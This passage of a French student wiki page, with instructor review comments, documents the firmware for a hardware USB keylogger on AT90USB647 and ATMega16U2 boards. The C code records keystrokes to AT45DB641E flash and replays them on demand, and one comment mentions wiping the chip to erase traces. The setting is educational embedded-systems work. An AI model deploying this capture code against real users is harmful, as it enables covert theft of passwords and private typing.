		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapées sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt &amp;lt;codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
ReX : Le délai me paraît non nécessaire par contre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; sans attente entre les deux me paraît joueur. Sauf si &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; est bloquant mais je parierais pas.&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMega :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; d'être executée plus d'une fois.&lt;br /&gt;
&lt;br /&gt;
ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.&lt;br /&gt;
 &lt;br /&gt;
Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Même remarque sur les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; consécutifs et sur la méthode pour envoyer modificateur et codes de touches.&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt;, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un &amp;lt;code&amp;gt;while(!Serial_IsSendComplete());&amp;lt;/code&amp;gt; entre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; ?&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
ReX : Toujours une très bonne vidéo de démonstration.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
ReX : Ils passent en mode DFU ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].&lt;br /&gt;
[[Fichier:Keylogger schéma connexion uP.png|vignette|426x426px|Schéma décrivant les connexions des broches entre les microcontrôleurs]]&lt;br /&gt;
&lt;br /&gt;
==== Modification du Keylogger ====&lt;br /&gt;
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]&lt;br /&gt;
&lt;br /&gt;
J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de &amp;lt;code&amp;gt;string.h&amp;lt;/code&amp;gt; afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions &amp;lt;code&amp;gt;memset&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie &amp;lt;code&amp;gt;Serial.h&amp;lt;/code&amp;gt; de LUFA. Le déroulé se passe comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(tableau_de_7_octets);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
.....&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et pour la réception :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
if (Serial_IsCharReceived())&lt;br /&gt;
{&lt;br /&gt;
    uint8_t Modifier = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    uint8_t KeyCode1 = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    ...&lt;br /&gt;
    uint8_t KeyCode5 = Serial_ReceiveByte();&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.&lt;br /&gt;
&lt;br /&gt;
De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.&lt;br /&gt;
&lt;br /&gt;
On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
/* Serial communication */&lt;br /&gt;
uint8_t Data_to_Send[CODES_PACKET_SIZE];&lt;br /&gt;
&lt;br /&gt;
Data_to_Send[0] = KeyboardReport.Modifier;&lt;br /&gt;
Data_to_Send[1] = KeyboardReport.KeyCode[0];&lt;br /&gt;
Data_to_Send[2] = KeyboardReport.KeyCode[1];&lt;br /&gt;
Data_to_Send[3] = KeyboardReport.KeyCode[2];&lt;br /&gt;
Data_to_Send[4] = KeyboardReport.KeyCode[3];&lt;br /&gt;
Data_to_Send[5] = KeyboardReport.KeyCode[4];&lt;br /&gt;
Data_to_Send[6] = KeyboardReport.KeyCode[5];&lt;br /&gt;
&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
_delay_ms(10);&lt;br /&gt;
&lt;br /&gt;
/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
if (*page_buffer_size &amp;gt;= FLASH_PAGE_INDEX_MAX) {&lt;br /&gt;
	 *page_buffer_size = 0;&lt;br /&gt;
	(*page_actual)++;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* AT45DB641E communication */&lt;br /&gt;
/* Checking if the flash buffer is full */&lt;br /&gt;
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {&lt;br /&gt;
	/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
	uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
	if (*page_buffer_size != 0)&lt;br /&gt;
		AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	memcpy(&amp;amp;(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);&lt;br /&gt;
&lt;br /&gt;
	/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
	AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
	AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
	/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
	while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
		LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
	}&lt;br /&gt;
	LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
	memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
	*page_buffer_size += FLASH_BUFFER_SIZE;&lt;br /&gt;
	*flash_buffer_i = 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* Writing the Modifier and Keycodes in the flash_buffer */&lt;br /&gt;
for (int i = 0; i &amp;lt; CODES_PACKET_SIZE; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Le test &amp;lt;code&amp;gt;(*flash_buffer_i == FLASH_BUFFER_SIZE)&amp;lt;/code&amp;gt; est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et définit la taille de bloc comme un multiple de la taille des paquets :&lt;br /&gt;
 #define CODES_PACKET_SIZE 7&lt;br /&gt;
 #define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)&lt;br /&gt;
&lt;br /&gt;
Benjamin : Pas de souci, j'en ai profité aussi pour modifier les autres variables concernant le parcours du buffer de la flash, comme la taille des valeurs à envoyer, la condition dans les boucles et la longueur à copier que l'on renseigne dans la fonction &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Parfait. Il te reste une condition à redresser &amp;lt;code&amp;gt;(*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1))&amp;lt;/code&amp;gt;. Cela n'arrivera jamais, le plus proche de &amp;lt;code&amp;gt;FLASH_PAGE_INDEX_MAX&amp;lt;/code&amp;gt; sera 4*63=252 après cela saute à 5*63=315. Il vaudrait mieux que tu testes &amp;lt;code&amp;gt;(*page_buffer_size+FLASH_BUFFER_SIZE&amp;gt;=FLASH_PAGE_INDEX_MAX)&amp;lt;/code&amp;gt; tu ne crois pas ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je comprends votre inquiétude. Dans les constantes, j'ai mis &amp;lt;code&amp;gt;FLASH_PAGE_INDEX_MAX&amp;lt;/code&amp;gt; à 251 en pensant initialement que j'allais m'en servir comme l'indice maximal que la page pourra atteindre, d'où le &amp;lt;code&amp;gt;+ 1&amp;lt;/code&amp;gt; qui nous permettra de vérifier l'indice &amp;lt;code&amp;gt;*page_buffer_size&amp;lt;/code&amp;gt; qui sera à 252 quand il aura été rempli 4 fois par &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt;. Je vais rajouter une condition avec une comparaison &amp;lt;code&amp;gt;&amp;gt;=&amp;lt;/code&amp;gt; au cas où les constantes serait mené à changer dans le futur.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Dans ma logique, on n'a pas besoin de vérifié de vérifié &amp;lt;code&amp;gt;*page_buffer_size+FLASH_BUFFER_SIZE&amp;lt;/code&amp;gt; car &amp;lt;code&amp;gt;*page_buffer_size&amp;lt;/code&amp;gt; suffit à savoir si l'on doit changer de page ou non. Sauf qu'il ne le saura qu'à la prochaine touche tapé, dans la condition où : &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt; était plein précédement et a alors incrémenté &amp;lt;code&amp;gt;*page_buffer_size&amp;lt;/code&amp;gt; par &amp;lt;code&amp;gt;FLASH_BUFFER_SIZE&amp;lt;/code&amp;gt;, on aurait donc &amp;lt;code&amp;gt;*page_buffer_size&amp;lt;/code&amp;gt; qui vaudrait 252 si précedement il était à 189 (dans la condition que &amp;lt;code&amp;gt;FLASH_BUFFER_SIZE&amp;lt;/code&amp;gt; soit égale à 63.). Je sais pas si c'est très claire = /&lt;br /&gt;
&lt;br /&gt;
Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= 0;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
			memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
			*flash_buffer_i = 0;&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0xC7, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x94, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x80, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x9A, NULL, 0);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			int address, byte;&lt;br /&gt;
			uint8_t Data_to_Send[CODES_PACKET_SIZE];&lt;br /&gt;
			for (address = 0; address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (byte = 0;&lt;br /&gt;
                     byte &amp;lt; (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX);&lt;br /&gt;
                     byte += CODES_PACKET_SIZE)&lt;br /&gt;
				{&lt;br /&gt;
					memcpy(Data_to_Send, &amp;amp;(data[byte]), CODES_PACKET_SIZE);&lt;br /&gt;
&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(10);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
			for (byte = 0; byte &amp;lt; (*flash_buffer_i); byte += CODES_PACKET_SIZE)&lt;br /&gt;
			{&lt;br /&gt;
				memcpy(Data_to_Send, &amp;amp;(flash_buffer[byte]), CODES_PACKET_SIZE);&lt;br /&gt;
&lt;br /&gt;
				while (!Serial_IsSendReady());&lt;br /&gt;
				Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
				while (!Serial_IsSendComplete());&lt;br /&gt;
				_delay_ms(10);&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Code bien factorisé. Tu as récupéré les commandes pour le reset de la flash dans la documentation des AT45DB641E ? Le reset n'est pas vraiment nécessaire sauf à vouloir effacer ses traces.&lt;br /&gt;
&lt;br /&gt;
Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.&lt;br /&gt;
&lt;br /&gt;
Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.&lt;br /&gt;
&lt;br /&gt;
Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt; qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et &amp;lt;code&amp;gt;flash_buffer_i&amp;lt;/code&amp;gt; qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction &amp;lt;code&amp;gt;Serial_IsSendComplete&amp;lt;/code&amp;gt; afin de ne pas avoir un caractère qui saute à la réception.&lt;br /&gt;
&lt;br /&gt;
Concernant le programme de l'ATMega, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapées :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;Modifier = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[1] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[2] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[3] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[4] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[5] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On attend à partir de la fonction &amp;lt;code&amp;gt;Serial_IsCharReceived&amp;lt;/code&amp;gt; qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction &amp;lt;code&amp;gt;Serial_ReceiveByte&amp;lt;/code&amp;gt;. Assez simple finalement ! = )&lt;br /&gt;
&lt;br /&gt;
ReX : D'après ton schéma des connexions de connecteurs je crains que l'AT90 soit en 3.3V et l'ATMega en 5V. Ca pourrait provoquer des problème avec la connexion UART. Tu peux rajouter sur le schéma la position des cavaliers pour que je sois sûr ?&lt;br /&gt;
&lt;br /&gt;
ReX : Non, les deux microcontrôleurs sont bien alimentés en 3.3V. C'est parfait.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Significations des leds ====&lt;br /&gt;
[[Fichier:Keylogger schéma connexion uP.png|vignette|498x498px]]&lt;br /&gt;
Du côté de l'ATMega :&lt;br /&gt;
&lt;br /&gt;
Au démarrage, la LED 16 s'allume puis la LED 17 pour informer les étapes d'initialisation de l'ATMega. Elles s'éteignent et lorsque la communication USB est prête, la LED 16 reste allumé.&lt;br /&gt;
&lt;br /&gt;
